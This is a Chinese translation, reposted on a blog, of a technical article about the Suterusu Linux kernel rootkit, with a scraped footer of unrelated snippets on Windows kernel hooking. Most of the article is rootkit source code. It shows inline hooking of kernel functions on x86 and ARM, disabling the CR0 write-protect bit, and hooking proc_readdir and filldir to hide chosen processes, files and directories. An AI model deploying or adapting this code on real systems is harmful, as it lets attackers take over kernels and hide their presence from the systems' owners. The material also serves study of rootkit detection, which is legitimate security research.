rootkit 内核函数hook

转自:https://0x90syntax.wordpress.com/2016/02/21/suterusu-rootkitx86%e4%b8%8earm%e7%9a%84%e5%86%85%e8%81%94%e5%86%85%e6%a0%b8%e5%87%bd%e6%95%b0hooking/

Suterusu Rootkit:x86与ARM的内联内核函数Hooking

二月 21, 2016 doubleoverflow

Translated By solve From Silic Forum

title:Suterusu Rootkit:Inline kernel Function Hooking on x86 and ARM

author:Michael Coppola

link:http://poppopret.org/2013/01/07/suterusu-rootkit-inline-kernel-function-hooking-on-x86-and-arm/

介绍

  几个月前,我添加了一个新的项目。(https://github.com/mncoppola/suterusu)通过我的各种对路由器后门及内核漏洞利用的探险,我最近的兴趣转向Linux内核Rootkit以及什么能让他们进行挂钩(tick)。我进行了一些搜索主要是在http://packetstormsecurity.org/和其他一些Blog里找归档,但是让我吃惊的是现在公开的Linux Rootkit并没有多少。最突出的成果围绕在adore-ng(至少从表面来看在2007年前都没有更新),和一些杂项,比如suckit,kbeast和Phalanx。内核的变化每年都有,所以我希望能有一些更新鲜的干货。

  所以,就像大多数项目一样,我说“Screw
it”,然后打开Vim。我会写一个我自己的,可以在最近的系统与架构上工作的Rootkit;我也会研究他们如何完成这些行为。我想正式地向您介绍Suterusu,我个人面向x86与ARM平台上的Linux
2.6及3.x的内核Rootkit项目。

  在技术,设计与实现上有很多方法,但我会从一些基础开始着手。Suterusu目前显示的是一个大的特征数组(当然还会有更多升级),但它可能更适用于这些单独的博客文章。

Suterusu中的函数Hooking

  大多数Rootkit在传统上利用在系统调用表中换出函数指针进行系统调用,但是这玩意儿已经能被智能Rootkit监测发现了。不走寻常路,Suterusu采用了不同的技术,修改目标函数以执行转移到置换程序进行Hooking。这可以通过检查下列四种函数来发现。

hijack_start()

hijack_pause()

hijack_resume()

hijack_stop()

这些函数通过与sym-hook结构的链表来跟踪挂钩。

struct sym_hook {

void *addr;

unsigned char o_code[HIJACK_SIZE];

unsigned char n_code[HIJACK_SIZE];

struct list_head list;

};

LIST_HEAD(hooked_syms);

要充分认识到hooking进程,我们得分析点代码。

x86上的函数Hooking

绝大部分的加权都由以作为实参指针的目标程序与“hook-with”例程的hijiack_start函数包揽。

void hijack_start ( void *target, void *new )

{

struct sym_hook *sa;

unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];

unsigned long o_cr0;

// push $addr; ret

memcpy(n_code, “\x68\x00\x00\x00\x00\xc3”, HIJACK_SIZE);

*(unsigned long *)&n_code[1] = (unsigned long)new;

memcpy(o_code, target, HIJACK_SIZE);

o_cr0 = disable_wp();

memcpy(target, n_code, HIJACK_SIZE);

restore_wp(o_cr0);

sa = kmalloc(sizeof(*sa), GFP_KERNEL);

if ( ! sa )

return;

sa->addr = target;

memcpy(sa->o_code, o_code, HIJACK_SIZE);

memcpy(sa->n_code, n_code, HIJACK_SIZE);

list_add(&sa->list, &hooked_syms);

}

一种小型的shellcode的缓冲区被初始化为“push dword 0;ret”系列,其中被推入的值(pushed
value)被用hook_with函数的指针修补(patch)。HIJACK_SIZE的字节数(相当于shellcode的大小)被从目标函数中复制,序言和被修补的shellcode则进行覆盖。在这一点上,所有调用目标函数的函数都将被重定向到我们的hook_with函数。

最后一步,将目标函数的指针,原始代码及挂钩代码存储到挂钩的链表中,从而完成该操作。其余劫持函数在此链表上操作。

hijiack_pause将临时卸载所需挂钩:

void hijack_pause ( void *target )

{

struct sym_hook *sa;

list_for_each_entry ( sa, &hooked_syms, list )

if ( target == sa->addr )

{

unsigned long o_cr0 = disable_wp();

memcpy(target, sa->o_code, HIJACK_SIZE);

restore_wp(o_cr0);

}

}

hijiack_resume又重新安装所需挂钩:

void hijack_resume ( void *target )

{

struct sym_hook *sa;

list_for_each_entry ( sa, &hooked_syms, list )

if ( target == sa->addr )

{

unsigned long o_cr0 = disable_wp();

memcpy(target, sa->n_code, HIJACK_SIZE);

restore_wp(o_cr0);

}

}

hijiack_stop()卸载挂钩并把它从链表中删除:

void hijack_stop ( void *target )

{

struct sym_hook *sa;

list_for_each_entry ( sa, &hooked_syms, list )

if ( target == sa->addr )

{

unsigned long o_cr0 = disable_wp();

memcpy(target, sa->o_code, HIJACK_SIZE);

restore_wp(o_cr0);

list_del(&sa->list);

kfree(sa);

break;

}

}

x86中的写入保护      因为内核页面被标记为只读,试图在这个区域覆盖主函数序言会产生一个内核错误。这种保护可能一般会用在cr0寄存器中的WP位设置为0,在CPU上禁用写保护加以避免。维基百科上关于寄存器的文章也印证了此属性。

bit 16

name WP

full name Write Protect

description Determines whether the CPU can write to pages marked read-only

WP位将需要被设定并在代码中的多个复合点(multiple point)重置,所以它将使程序感知(?)抽象化操作。下列代码源于PaX
Project,特别是native_pax_open_kernel()和native_pax_close_kernel()例程。要格外小心SMP系统中坑爹的调用而引发一个潜在的竞争条件,正如Dan
Rosenberg的一篇博文所说:

inline unsigned long disable_wp ( void )

{

unsigned long cr0;

preempt_disable();

barrier();

cr0 = read_cr0();

write_cr0(cr0 & ~X86_CR0_WP);

return cr0;

}

inline void restore_wp ( unsigned long cr0 )

{

write_cr0(cr0);

barrier();

preempt_enable_no_resched();

}

ARM上的函数Hooking

Hooking例程中hijack_*set一些显著的变化取决于是否被编译为x86或ARM实现。例如,WP位的概念在ARM中并不存在,所以必须特别注意数据处理和体系结构引入的指令缓存。而在x86或x86_64

中确实存在数据与指令缓存的概念,但这样的功能并未对开发造成障碍。        hijack_start()的一个适用于ARM的版本进行修改以适应这些新的架构特性。

void hijack_start ( void *target, void *new )

{

struct sym_hook *sa;

unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE];

if ( (unsigned long)target % 4 == 0 )

{

// ldr pc, [pc, #0]; .long addr; .long addr

memcpy(n_code, “\x00\xf0\x9f\xe5\x00\x00\x00\x00\x00\x00\x00\x00”, HIJACK_SIZE);

*(unsigned long *)&n_code[4] = (unsigned long)new;

*(unsigned long *)&n_code[8] = (unsigned long)new;

}

else // Thumb

{

// add r0, pc, #4; ldr r0, [r0, #0]; mov pc, r0; mov pc, r0; .long addr

memcpy(n_code, “\x01\xa0\x00\x68\x87\x46\x87\x46\x00\x00\x00\x00”, HIJACK_SIZE);

*(unsigned long *)&n_code[8] = (unsigned long)new;

target–;

}

memcpy(o_code, target, HIJACK_SIZE);

memcpy(target, n_code, HIJACK_SIZE);

cacheflush(target, HIJACK_SIZE);

sa = kmalloc(sizeof(*sa), GFP_KERNEL);

if ( ! sa )

return;

sa->addr = target;

memcpy(sa->o_code, o_code, HIJACK_SIZE);

memcpy(sa->n_code, n_code, HIJACK_SIZE);

list_add(&sa->list, &hooked_syms);

}

ARM上的指令缓存

大部

分Android设备不具备只读内核页面的权限,所以至少现在我们可以放弃一些潜在认定为“巫术”(voodoo magic)之类的玩意儿,写入受保护的内存分区。它仍然必要,但是,在执行函数挂钩时应考虑ARM指令缓存的概念。

ARM的CPU把性能优势用于数据缓存与指令缓存,然而,就地修改代码可能使内存中的实际指令与指令缓存不连贯。根据官方的ARM技术参考,开发自我修改代码时,这个问题变得显而易见。解决的方法是当内核文本修改时简单刷新指令缓存(这由向内核例程flush_icache_range()发起调用):

void cacheflush ( void *begin, unsigned long size )

{

flush_icache_range((unsigned long)begin, (unsigned long)begin + size);

}

内联挂钩的优缺点

就大多数技术而言,内联函数挂钩与简单的劫持系统调用表相比,存在各种利弊。         优点1:任何函数都可能被劫持,不仅仅是系统调用。

优点2:更少地

在Rootkit中实现,所以它更难

被Rootkit检测发现。由于ASM的灵活性,逃避被简易挂钩检测引擎发现更容易了。x86平台的多种检测逃避技术在《x86 API Hooking Demystified

》中可以找到。

优点3:内联函数挂钩可被应用于具有最小/不修改的用户态。Northeastern’s HPC Lab开发出了一个工作

于Android端口的分布式多线程检查点(DMTCP)的检查点应用,它可以简单复制粘贴hijiack_*的全部例程,并只能修改为使用用户链表。

缺点1:目前挂钩的实现不是线程安全的。通过hijack_pause()函数暂时脱钩,打开其他线程的竞争窗口以在hijack_resume()被调用前执行脱钩函数潜在的解决方案包括狡猾地使用锁定以及永久劫持目标函数和在hook-with例程中插入额外的逻辑。然而,在执行可变长度指令架构(x86/_64)和PC/IP相对寻址(x86_64和ARM)特征化架构的原始函数序言时,要特别注意。

缺点2:最近另一种有害可能是递归使用挂钩。执行不力相比于任何不可克服的设计缺陷的问题更是如此,有各种问题的解决方案使您的hook-with函数意外调用被挂钩的函数本身导致无限递归。这个问题的参考文章也是[url=http://jbremer.org/x86-api-hooking-demystified/#ah-recursion]《x86 API Hooking Demystified》。[/url]

隐藏进程,文件和目录

一旦开始使用一个可靠的挂钩“框架”,拦截有趣的函数与做有趣的事情将相当琐碎。一个Rootkit应做的最基本的事情之一便是隐藏进程与文件系统对象,这两者都可能使用相同的基础技术完成。

在Linux内核中,file_operatuons结构的一个或多个实例关联了每个支持它们的文件系统(通常是一个文件实例一个目录实例,但是如果深入到

内核源码,你会发现文件系统是一个异端)。这些结构包括指向与不同文件操作关联的例程的指针,比如读取,写入,mmap’ing,修改权限等。为了解释目标,我们将测试file_operations结构在ext3的目录对象的实例:

const struct file_operations ext3_dir_operations = {

.llseek     = generic_file_llseek,

.read       = generic_read_dir,

.readdir    = ext3_readdir,

.unlocked_ioctl = ext3_ioctl,

#ifdef CONFIG_COMPAT

.compat_ioctl   = ext3_compat_ioctl,

#endif

.fsync      = ext3_sync_file,

.release    = ext3_release_dir,

};

为了隐藏文件系统中的一个对象,简单挂钩readdir函数并筛选出它的输出中任何不被期望出现的项目是可能的。通过查找目标对象的文件结构

,Suterusu动态获取指向文件系统读取目录这一例行操作的指针,以进行系统级隐藏。

void *get_vfs_readdir ( const char *path )

{

void *ret;

struct file *filep;

if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )

return NULL;

ret = filep->f_op->readdir;

filp_close(filep, 0);

return ret;

}

实际的hook进程(项目隐藏在/proc中)看起来就像这样:

#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 30)

proc_readdir = get_vfs_readdir(“/proc”);

#endif

hijack_start(proc_readdir, &n_proc_readdir);

内核版本检查是为了应对在2.6.31版本中实现的改变,即从include/linux/proc_fs.h中消除导出proc_readdir()符号。在以前的版本中在外部链接检索指针值还是可能的,但现在Rootkit开发者被迫使用手动方式。

要执行/proc中一个对象的实际隐藏,

Suterusu使用下列例程将proc_readdir()挂钩

static int (*o_proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);

int n_proc_readdir ( struct file *file, void *dirent, filldir_t filldir )

{

int ret;

o_proc_filldir = filldir;

hijack_pause(proc_readdir);

ret = proc_readdir(file, dirent, &n_proc_filldir);

hijack_resume(proc_readdir);

return ret;

}

作为对目录中每个项目执行的回调,filldir函数才承担了繁重的工作。这是被替换为恶意的n_proc_filldir()函数:

static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )

{

struct hidden_proc *hp;

char *endp;

long pid;

pid = simple_strtol(name, &endp, 10);

list_for_each_entry ( hp, &hidden_procs, list )

if ( pid == hp->pid )

return 0;

return o_proc_filldir(__buf, name, namelen, offset, ino, d_type);

}

因为其目的是通过劫持/proc的readdir/filldir例程来隐藏进程,Suterusu简单的执行针对用户希望隐藏的所有PID链表的匹配对象名称,如果发现匹配,回调返回0,将项目从目录列表中隐藏,否则,执行原始proc_filldir()函数,返回值。

同样的概念也适用于隐藏文件与目录,除了与一个直接的字符串匹配的对象名称而并非首先将PID名转换为数字类型。

static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )

{

struct hidden_file *hf;

list_for_each_entry ( hf, &hidden_files, list )

if ( ! strcmp(name, hf->name) )

return 0;

return o_root_filldir(__buf, name, namelen, offset, ino, d_type);

}

时间: 2024-08-06 09:34:50

rootkit 内核函数hook的相关文章

内核级HOOK的几种实现与应用

实现内核级 HOOK 对于拦截.分析.跟踪系统内核起着致关重要的作用.实现的方法不同意味着应用侧重点的不同.如想要拦截 NATIVE API 那么可能常用的就是 HOOK SERVICE TABLE 的方法.如果要分析一些系统调用,那么可能想到用 HOOK INT 2E 中断来实现.如果想要拦截或跟踪其他内核 DRIVER 的调用,那么就要用到HOOK PE 的方法来实现.这里我们更注重的是实现,原理方面已有不少高手在网上发表过文章.大家可以结合起来读.下面以我写的几个实例程序来讲解一下各种方法

linux内核函数库文件的寻找

linux内核函数的so库文件怎么找呢? 首先还是要产生一个进程的coredump文件的 linux有一个lib-gdb.so库,这个进程的coredump文件中所有load段的最后一个load段中,通过读取二进制文件将最后一个load段读取出来保存lib-gdb.so库文件,这个库文件就是内核函数的库文件. coredump文件头->多个程序头(每一个程序头都会对应一个load段)->通过程序头读取load段

Windows 驱动开发基础(九)内核函数

Windows 驱动开发基础系列,转载请标明出处:http://blog.csdn.net/ikerpeng/article/details/38849861 这里主要介绍3类Windows的内核函数:字符串处理函数,文件操作函数, 注册表读写函数.(这些函数都是运行时函数,所以都有Rtl字样) 1 字符串处理函数 首先驱动程序中,常用的字符串包括4种:CHAR (打印的时候注意小写%s), WCHAR(打印的时候注意大写%S), ANSI_STRING, UNICODE_STRING.后面两种

实验作业:使gdb跟踪分析一个系统调用内核函数

实验作业:使gdb跟踪分析一个系统调用内核函数(我使用的是getuid) 20135313吴子怡.北京电子科技学院 [第一部分] 根据视频演示的步骤,先做第一部分,步骤如下 ①更新menu代码到最新版 ②在代码中加入C函数.汇编函数 ③在main函数中加入makeconfig ④make rootfs ⑤可以看到qemu中增加了我们先前添加的命令: ⑥分别执行新增的命令 [第二部分]gdb跟踪分析一个系统调用内核函数 ①进入gdb调试 ②设置断点,继续执行: ③相对应的得到这样的结果: ④查看我

linux下的系统调用函数到内核函数的追踪

使用的 glibc : glibc-2.17  使用的 linux kernel :linux-3.2.07 系统调用是内核向用户进程提供服务的唯一方法,应用程序调用操作系统提供的功能模块(函数).用户程序通过系统调用从用户态(user mode)切换到核心态(kernel mode ),从而可以访问相应的资源.这样做的好处是:为用户空间提供了一种硬件的抽象接口,使编程更加容易.有利于系统安全.有利于每个进程度运行在虚拟系统中,接口统一有利于移植.             运行模式.地址空间.上

获得内核函数地址的四种方法

本文以获取内核函数 sys_open()的地址为例.   1)从System.map文件中直接得到地址:      $ grep sys_open /usr/src/linux/System.map      2)使用 nm 命令:      $ nm vmlinuz | grep sys_open      3)从 /proc/kallsyms 文件获得地址:      $ cat /proc/kallsyms | grep sys_open      4)使用 kallsyms_lookup

OpenCL内核函数支持double和结构体

在opencl开发中,有时需要保证精度,需要支持double类型,但是double类型在opencl标准里面不是要求强制实现的,有些设备支持,有些不支持,如果你的设备支持的话,就需要在所有出现在double的最前面声明如下: #pragma OPENCL EXTENSION cl_khr_fp64: enable 但是这也有一个问题,就是不能保证程序的可移植性,之前在编写地形因子提取算法时,在某些AMD的显卡就不支持. 另外有时候需要支持结构体的话,就只需要定义和主机端一模一样的结构体,然后在C

Windows内核函数(3) - 内核模式下的注册表操作

Windows内核函数(3) - 内核模式下的注册表操作 2010-12-13 13:37:16|  分类: 驱动编程 |  标签:status  hkey  ulsize  注册  kdprint  |举报|字号 订阅 注册表里的几个概念: 1.       创建关闭注册表项 NTSTATUS   ZwCreateKey(    OUT PHANDLE  KeyHandle,    IN ACCESS_MASK  DesiredAccess, //访问权限,一般为KEY_ALL_ACCLESS

windows内核函数1 - 字符串处理

1.ASCII字符串和宽字符串 打印一个ASCII字符串: CHAR* string = “Hello”; KdPrint((“%s\n”, string));        //s为小写 打印一个宽字符字符串 WCHAR* string = L”Hello”; KdPrint((“%S\n”,string));         //s为大写 2.ANSI_STRING字符串与UNICODE_STRING字符串 ANSI_STRING: typedef struct _STRING {  USH